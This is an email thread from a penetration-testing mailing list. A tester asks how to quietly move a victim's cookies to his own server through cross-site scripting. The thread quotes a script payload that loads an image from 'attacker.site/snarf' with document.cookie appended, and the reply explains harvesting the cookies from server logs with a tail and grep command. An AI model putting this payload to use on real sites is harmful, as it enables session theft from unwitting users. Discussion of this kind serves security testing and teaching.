RE: Proof of Concept Tool on Web Application Security

["Dawes, Rogan (ZA - Johannesburg)" <rdawes () deloitte co za>]

Hi,

You are misreading the script fragment that you quoted.

What that is intended to do is fetch an image from a server under your own
control, with the cookie appended to the url as a parameter. You don't have
to have "snarf" be an application that uses those parameters, it could be a
simple .gif or .jpg file. Then you just parse your web server logs for
cookies.

E.g. 

tail -f webserverlog | grep snarf

If you want something automated to react when such a session id appears,
than you would need to have snarf either be a program, or have a script
tailling the server logs, and reacting when it sees a new cookie.

Rogan

-----Original Message-----
From: Indian Tiger [mailto:indiantiger () mailandnews com] 
Sent: 13 April 2003 09:33 AM
To: pen-test () securityfocus com; rdawes () deloitte co za
Subject: RE: Proof of Concept Tool on Web Application Security


Hi Rogan,

Comments in-line

[script language=javascript]document.print("<img
src='http://attacker.site/snarf?"; + document.cookie + "'>")[/script]

I have tested this and it works perfectly fine. In my scenario I gave as 
follows and it was working:
<script> alert('hacked') </script>

Now I am testing Cross-Site Scripting to steal the client cookies, or any 
other sensitive information. I am working on my own pen-test-testing site, 
which is vulnerable to XSS. I was able to display the cookies of the client
at 
the victim's machine, but that was not my goal, my goal is to get that
cookies 
on my machine or any desired location. So is there any way by which I can 
transfer the victim's cookie or any other information at my machine without 
interaction of the victim.

One way of transferring cookie information from the victim's machine to 
attacker's machine is to create a hidden filed & then transfer cookie 
information to that hidden field & then post (submit) this hidden field to
web 
site of attacker. But this require interaction of victim, as victim must
click 
on submit button to post this data to attacker's site, which is not a good 
idea, the data should be transferred without knowledge of victim. So what 
should be the best way to this? How I can upload a file from victim machine
to 
any other server?

Any suggestions on the above topics will be highly appreciated.

Thanking you,
Sincerely,

Indian Tiger, CISSP

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